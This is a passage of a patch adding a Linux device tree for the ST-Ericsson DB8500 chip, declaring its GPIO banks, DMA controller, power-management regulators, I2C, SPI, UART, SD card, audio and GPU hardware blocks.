IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <5>;\n+\t\t\tgpio-ranges = <&pinctrl 0 160 12>;\n+\t\t\tclocks = <&prcc_pclk 3 8>;\n+\t\t};\n+\n+\t\tgpio6: gpio@8011e000 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0x8011e000 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 125 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <6>;\n+\t\t\tgpio-ranges = <&pinctrl 0 192 32>;\n+\t\t\tclocks = <&prcc_pclk 2 11>;\n+\t\t};\n+\n+\t\tgpio7: gpio@8011e080 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0x8011e080 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 126 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <7>;\n+\t\t\tgpio-ranges = <&pinctrl 0 224 7>;\n+\t\t\tclocks = <&prcc_pclk 2 11>;\n+\t\t};\n+\n+\t\tgpio8: gpio@a03fe000 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0xa03fe000 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 127 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <8>;\n+\t\t\tgpio-ranges = <&pinctrl 0 256 12>;\n+\t\t\tclocks = <&prcc_pclk 5 1>;\n+\t\t};\n+\n+\t\tpinctrl: pinctrl {\n+\t\t\tcompatible = \"stericsson,db8500-pinctrl\";\n+\t\t\tnomadik-gpio-chips = <&gpio0>, <&gpio1>, <&gpio2>, <&gpio3>,\n+\t\t\t\t\t\t<&gpio4>, <&gpio5>, <&gpio6>, <&gpio7>,\n+\t\t\t\t\t\t<&gpio8>;\n+\t\t\tprcm = <&prcmu>;\n+\t\t};\n+\n+\t\tusb_per5@a03e0000 {\n+\t\t\tcompatible = \"stericsson,db8500-musb\";\n+\t\t\treg = <0xa03e0000 0x10000>;\n+\t\t\tinterrupts = <GIC_SPI 23 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-names = \"mc\";\n+\n+\t\t\tdr_mode = \"otg\";\n+\n+\t\t\tdmas = <&dma 38 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 38 0 0x0>, /* Logical - MemToDev */\n+\t\t\t <&dma 37 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 37 0 0x0>, /* Logical - MemToDev */\n+\t\t\t <&dma 36 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 36 0 0x0>, /* Logical - MemToDev */\n+\t\t\t <&dma 19 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 19 0 0x0>, /* Logical - MemToDev */\n+\t\t\t <&dma 18 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 18 0 0x0>, /* Logical - MemToDev */\n+\t\t\t <&dma 17 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 17 0 0x0>, /* Logical - MemToDev */\n+\t\t\t <&dma 16 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 16 0 0x0>, /* Logical - MemToDev */\n+\t\t\t <&dma 39 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 39 0 0x0>; /* Logical - MemToDev */\n+\n+\t\t\tdma-names = \"iep_1_9\", \"oep_1_9\",\n+\t\t\t\t \"iep_2_10\", \"oep_2_10\",\n+\t\t\t\t \"iep_3_11\", \"oep_3_11\",\n+\t\t\t\t \"iep_4_12\", \"oep_4_12\",\n+\t\t\t\t \"iep_5_13\", \"oep_5_13\",\n+\t\t\t\t \"iep_6_14\", \"oep_6_14\",\n+\t\t\t\t \"iep_7_15\", \"oep_7_15\",\n+\t\t\t\t \"iep_8\", \"oep_8\";\n+\n+\t\t\tclocks = <&prcc_pclk 5 0>;\n+\t\t};\n+\n+\t\tdma: dma-controller@801C0000 {\n+\t\t\tcompatible = \"stericsson,db8500-dma40\", \"stericsson,dma40\";\n+\t\t\treg = <0x801C0000 0x1000 0x40010000 0x800>;\n+\t\t\treg-names = \"base\", \"lcpa\";\n+\t\t\tinterrupts = <GIC_SPI 25 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\t#dma-cells = <3>;\n+\t\t\tmemcpy-channels = <56 57 58 59 60>;\n+\n+\t\t\tclocks = <&prcmu_clk PRCMU_DMACLK>;\n+\t\t};\n+\n+\t\tprcmu: prcmu@80157000 {\n+\t\t\tcompatible = \"stericsson,db8500-prcmu\", \"syscon\";\n+\t\t\treg = <0x80157000 0x2000>, <0x801b0000 0x8000>, <0x801b8000 0x1000>;\n+\t\t\treg-names = \"prcmu\", \"prcmu-tcpm\", \"prcmu-tcdm\";\n+\t\t\tinterrupts = <GIC_SPI 47 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <1>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tranges;\n+\n+\t\t\tprcmu-timer-4@80157450 {\n+\t\t\t\tcompatible = \"stericsson,db8500-prcmu-timer-4\";\n+\t\t\t\treg = <0x80157450 0xC>;\n+\t\t\t};\n+\n+\t\t\tthermal: thermal@801573c0 {\n+\t\t\t\tcompatible = \"stericsson,db8500-thermal\";\n+\t\t\t\treg = <0x801573c0 0x40>;\n+\t\t\t\tinterrupt-parent = <&prcmu>;\n+\t\t\t\tinterrupts = <21 IRQ_TYPE_LEVEL_HIGH>,\n+\t\t\t\t\t <22 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\tinterrupt-names = \"IRQ_HOTMON_LOW\", \"IRQ_HOTMON_HIGH\";\n+\t\t\t\t#thermal-sensor-cells = <0>;\n+\t\t\t};\n+\n+\t\t\tdb8500-prcmu-regulators {\n+\t\t\t\tcompatible = \"stericsson,db8500-prcmu-regulator\";\n+\n+\t\t\t\t// DB8500_REGULATOR_VAPE\n+\t\t\t\tdb8500_vape_reg: db8500_vape {\n+\t\t\t\t\tregulator-always-on;\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_VARM\n+\t\t\t\tdb8500_varm_reg: db8500_varm {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_VMODEM\n+\t\t\t\tdb8500_vmodem_reg: db8500_vmodem {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_VPLL\n+\t\t\t\tdb8500_vpll_reg: db8500_vpll {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_VSMPS1\n+\t\t\t\tdb8500_vsmps1_reg: db8500_vsmps1 {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_VSMPS2\n+\t\t\t\tdb8500_vsmps2_reg: db8500_vsmps2 {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_VSMPS3\n+\t\t\t\tdb8500_vsmps3_reg: db8500_vsmps3 {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_VRF1\n+\t\t\t\tdb8500_vrf1_reg: db8500_vrf1 {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_SVAMMDSP\n+\t\t\t\tdb8500_sva_mmdsp_reg: db8500_sva_mmdsp {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_SVAMMDSPRET\n+\t\t\t\tdb8500_sva_mmdsp_ret_reg: db8500_sva_mmdsp_ret {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_SVAPIPE\n+\t\t\t\tdb8500_sva_pipe_reg: db8500_sva_pipe {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_SIAMMDSP\n+\t\t\t\tdb8500_sia_mmdsp_reg: db8500_sia_mmdsp {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_SIAMMDSPRET\n+\t\t\t\tdb8500_sia_mmdsp_ret_reg: db8500_sia_mmdsp_ret {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_SIAPIPE\n+\t\t\t\tdb8500_sia_pipe_reg: db8500_sia_pipe {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_SGA\n+\t\t\t\tdb8500_sga_reg: db8500_sga {\n+\t\t\t\t\tvin-supply = <&db8500_vape_reg>;\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_B2R2_MCDE\n+\t\t\t\tdb8500_b2r2_mcde_reg: db8500_b2r2_mcde {\n+\t\t\t\t\tvin-supply = <&db8500_vape_reg>;\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_ESRAM12\n+\t\t\t\tdb8500_esram12_reg: db8500_esram12 {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_ESRAM12RET\n+\t\t\t\tdb8500_esram12_ret_reg: db8500_esram12_ret {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_ESRAM34\n+\t\t\t\tdb8500_esram34_reg: db8500_esram34 {\n+\t\t\t\t};\n+\n+\t\t\t\t// DB8500_REGULATOR_SWITCH_ESRAM34RET\n+\t\t\t\tdb8500_esram34_ret_reg: db8500_esram34_ret {\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\ti2c0: i2c@80004000 {\n+\t\t\tcompatible = \"stericsson,db8500-i2c\", \"st,nomadik-i2c\", \"arm,primecell\";\n+\t\t\treg = <0x80004000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 21 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\tv-i2c-supply = <&db8500_vape_reg>;\n+\n+\t\t\tclock-frequency = <400000>;\n+\t\t\tclocks = <&prcc_kclk 3 3>, <&prcc_pclk 3 3>;\n+\t\t\tclock-names = \"i2cclk\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\ti2c1: i2c@80122000 {\n+\t\t\tcompatible = \"stericsson,db8500-i2c\", \"st,nomadik-i2c\", \"arm,primecell\";\n+\t\t\treg = <0x80122000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 22 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\tv-i2c-supply = <&db8500_vape_reg>;\n+\n+\t\t\tclock-frequency = <400000>;\n+\n+\t\t\tclocks = <&prcc_kclk 1 2>, <&prcc_pclk 1 2>;\n+\t\t\tclock-names = \"i2cclk\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\ti2c2: i2c@80128000 {\n+\t\t\tcompatible = \"stericsson,db8500-i2c\", \"st,nomadik-i2c\", \"arm,primecell\";\n+\t\t\treg = <0x80128000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 55 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\tv-i2c-supply = <&db8500_vape_reg>;\n+\n+\t\t\tclock-frequency = <400000>;\n+\n+\t\t\tclocks = <&prcc_kclk 1 6>, <&prcc_pclk 1 6>;\n+\t\t\tclock-names = \"i2cclk\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\ti2c3: i2c@80110000 {\n+\t\t\tcompatible = \"stericsson,db8500-i2c\", \"st,nomadik-i2c\", \"arm,primecell\";\n+\t\t\treg = <0x80110000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 12 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\tv-i2c-supply = <&db8500_vape_reg>;\n+\n+\t\t\tclock-frequency = <400000>;\n+\n+\t\t\tclocks = <&prcc_kclk 2 0>, <&prcc_pclk 2 0>;\n+\t\t\tclock-names = \"i2cclk\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\ti2c4: i2c@8012a000 {\n+\t\t\tcompatible = \"stericsson,db8500-i2c\", \"st,nomadik-i2c\", \"arm,primecell\";\n+\t\t\treg = <0x8012a000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 51 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\tv-i2c-supply = <&db8500_vape_reg>;\n+\n+\t\t\tclock-frequency = <400000>;\n+\n+\t\t\tclocks = <&prcc_kclk 1 9>, <&prcc_pclk 1 10>;\n+\t\t\tclock-names = \"i2cclk\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tssp0: spi@80002000 {\n+\t\t\tcompatible = \"arm,pl022\", \"arm,primecell\";\n+\t\t\treg = <0x80002000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 14 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\tclocks = <&prcc_kclk 3 1>, <&prcc_pclk 3 1>;\n+\t\t\tclock-names = \"SSPCLK\", \"apb_pclk\";\n+\t\t\tdmas = <&dma 8 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 8 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tssp1: spi@80003000 {\n+\t\t\tcompatible = \"arm,pl022\", \"arm,primecell\";\n+\t\t\treg = <0x80003000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 52 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\tclocks = <&prcc_kclk 3 2>, <&prcc_pclk 3 2>;\n+\t\t\tclock-names = \"SSPCLK\", \"apb_pclk\";\n+\t\t\tdmas = <&dma 9 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 9 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tspi0: spi@8011a000 {\n+\t\t\tcompatible = \"arm,pl022\", \"arm,primecell\";\n+\t\t\treg = <0x8011a000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 8 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\t/* Same clock wired to kernel and pclk */\n+\t\t\tclocks = <&prcc_pclk 2 8>, <&prcc_pclk 2 8>;\n+\t\t\tclock-names = \"SSPCLK\", \"apb_pclk\";\n+\t\t\tdmas = <&dma 0 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 0 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tspi1: spi@80112000 {\n+\t\t\tcompatible = \"arm,pl022\", \"arm,primecell\";\n+\t\t\treg = <0x80112000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 96 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\t/* Same clock wired to kernel and pclk */\n+\t\t\tclocks = <&prcc_pclk 2 2>, <&prcc_pclk 2 2>;\n+\t\t\tclock-names = \"SSPCLK\", \"apb_pclk\";\n+\t\t\tdmas = <&dma 35 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 35 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tspi2: spi@80111000 {\n+\t\t\tcompatible = \"arm,pl022\", \"arm,primecell\";\n+\t\t\treg = <0x80111000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 6 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\t/* Same clock wired to kernel and pclk */\n+\t\t\tclocks = <&prcc_pclk 2 1>, <&prcc_pclk 2 1>;\n+\t\t\tclock-names = \"SSPCLK\", \"apb_pclk\";\n+\t\t\tdmas = <&dma 33 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 33 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tspi3: spi@80129000 {\n+\t\t\tcompatible = \"arm,pl022\", \"arm,primecell\";\n+\t\t\treg = <0x80129000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 49 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\t/* Same clock wired to kernel and pclk */\n+\t\t\tclocks = <&prcc_pclk 1 7>, <&prcc_pclk 1 7>;\n+\t\t\tclock-names = \"SSPCLK\", \"apb_pclk\";\n+\t\t\tdmas = <&dma 40 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 40 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tserial0: uart@80120000 {\n+\t\t\tcompatible = \"arm,pl011\", \"arm,primecell\";\n+\t\t\treg = <0x80120000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 11 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 13 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 13 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 1 0>, <&prcc_pclk 1 0>;\n+\t\t\tclock-names = \"uart\", \"apb_pclk\";\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tserial1: uart@80121000 {\n+\t\t\tcompatible = \"arm,pl011\", \"arm,primecell\";\n+\t\t\treg = <0x80121000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 19 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 12 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 12 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 1 1>, <&prcc_pclk 1 1>;\n+\t\t\tclock-names = \"uart\", \"apb_pclk\";\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tserial2: uart@80007000 {\n+\t\t\tcompatible = \"arm,pl011\", \"arm,primecell\";\n+\t\t\treg = <0x80007000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 26 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 11 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 11 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 3 6>, <&prcc_pclk 3 6>;\n+\t\t\tclock-names = \"uart\", \"apb_pclk\";\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tsdi0_per1@80126000 {\n+\t\t\tcompatible = \"arm,pl18x\", \"arm,primecell\";\n+\t\t\treg = <0x80126000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 60 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 29 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 29 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 1 5>, <&prcc_pclk 1 5>;\n+\t\t\tclock-names = \"sdi\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tsdi1_per2@80118000 {\n+\t\t\tcompatible = \"arm,pl18x\", \"arm,primecell\";\n+\t\t\treg = <0x80118000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 50 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 32 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 32 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 2 4>, <&prcc_pclk 2 6>;\n+\t\t\tclock-names = \"sdi\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tsdi2_per3@80005000 {\n+\t\t\tcompatible = \"arm,pl18x\", \"arm,primecell\";\n+\t\t\treg = <0x80005000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 41 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 28 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 28 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 3 4>, <&prcc_pclk 3 4>;\n+\t\t\tclock-names = \"sdi\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tsdi3_per2@80119000 {\n+\t\t\tcompatible = \"arm,pl18x\", \"arm,primecell\";\n+\t\t\treg = <0x80119000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 59 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 41 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 41 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 2 5>, <&prcc_pclk 2 7>;\n+\t\t\tclock-names = \"sdi\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tsdi4_per2@80114000 {\n+\t\t\tcompatible = \"arm,pl18x\", \"arm,primecell\";\n+\t\t\treg = <0x80114000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 99 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 42 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 42 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 2 2>, <&prcc_pclk 2 4>;\n+\t\t\tclock-names = \"sdi\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tsdi5_per3@80008000 {\n+\t\t\tcompatible = \"arm,pl18x\", \"arm,primecell\";\n+\t\t\treg = <0x80008000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 100 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tdmas = <&dma 43 0 0x2>, /* Logical - DevToMem */\n+\t\t\t <&dma 43 0 0x0>; /* Logical - MemToDev */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 3 7>, <&prcc_pclk 3 7>;\n+\t\t\tclock-names = \"sdi\", \"apb_pclk\";\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tsound {\n+\t\t\tcompatible = \"stericsson,snd-soc-mop500\";\n+\t\t\tstericsson,cpu-dai = <&msp1 &msp3>;\n+\t\t};\n+\n+\t\tmsp0: msp@80123000 {\n+\t\t\tcompatible = \"stericsson,ux500-msp-i2s\";\n+\t\t\treg = <0x80123000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 31 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tv-ape-supply = <&db8500_vape_reg>;\n+\n+\t\t\tdmas = <&dma 31 0 0x12>, /* Logical - DevToMem - HighPrio */\n+\t\t\t <&dma 31 0 0x10>; /* Logical - MemToDev - HighPrio */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 1 3>, <&prcc_pclk 1 3>;\n+\t\t\tclock-names = \"msp\", \"apb_pclk\";\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tmsp1: msp@80124000 {\n+\t\t\tcompatible = \"stericsson,ux500-msp-i2s\";\n+\t\t\treg = <0x80124000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 62 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tv-ape-supply = <&db8500_vape_reg>;\n+\n+\t\t\t/* This DMA channel only exist on DB8500 v1 */\n+\t\t\tdmas = <&dma 30 0 0x10>; /* Logical - MemToDev - HighPrio */\n+\t\t\tdma-names = \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 1 4>, <&prcc_pclk 1 4>;\n+\t\t\tclock-names = \"msp\", \"apb_pclk\";\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\t// HDMI sound\n+\t\tmsp2: msp@80117000 {\n+\t\t\tcompatible = \"stericsson,ux500-msp-i2s\";\n+\t\t\treg = <0x80117000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 98 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tv-ape-supply = <&db8500_vape_reg>;\n+\n+\t\t\tdmas = <&dma 14 0 0x12>, /* Logical - DevToMem - HighPrio */\n+\t\t\t <&dma 14 1 0x19>; /* Physical Chan 1 - MemToDev\n+ HighPrio - Fixed */\n+\t\t\tdma-names = \"rx\", \"tx\";\n+\n+\t\t\tclocks = <&prcc_kclk 2 3>, <&prcc_pclk 2 5>;\n+\t\t\tclock-names = \"msp\", \"apb_pclk\";\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tmsp3: msp@80125000 {\n+\t\t\tcompatible = \"stericsson,ux500-msp-i2s\";\n+\t\t\treg = <0x80125000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 62 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tv-ape-supply = <&db8500_vape_reg>;\n+\n+\t\t\t/* This DMA channel only exist on DB8500 v2 */\n+\t\t\tdmas = <&dma 30 0 0x12>; /* Logical - DevToMem - HighPrio */\n+\t\t\tdma-names = \"rx\";\n+\n+\t\t\tclocks = <&prcc_kclk 1 10>, <&prcc_pclk 1 11>;\n+\t\t\tclock-names = \"msp\", \"apb_pclk\";\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\texternal-bus@50000000 {\n+\t\t\tcompatible = \"simple-bus\";\n+\t\t\treg = <0x50000000 0x4000000>;\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <1>;\n+\t\t\tranges = <0 0x50000000 0x4000000>;\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpu@a0300000 {\n+\t\t\t/*\n+\t\t\t * This block is referred to as \"Smart Graphics Adapter SGA500\"\n+\t\t\t * in documentation but is in practice a pretty straight-forward\n+\t\t\t * MALI-400 GPU block.\n+\t\t\t */\n+\t\t\tcompatible = \"stericsson,db8500-mali\", 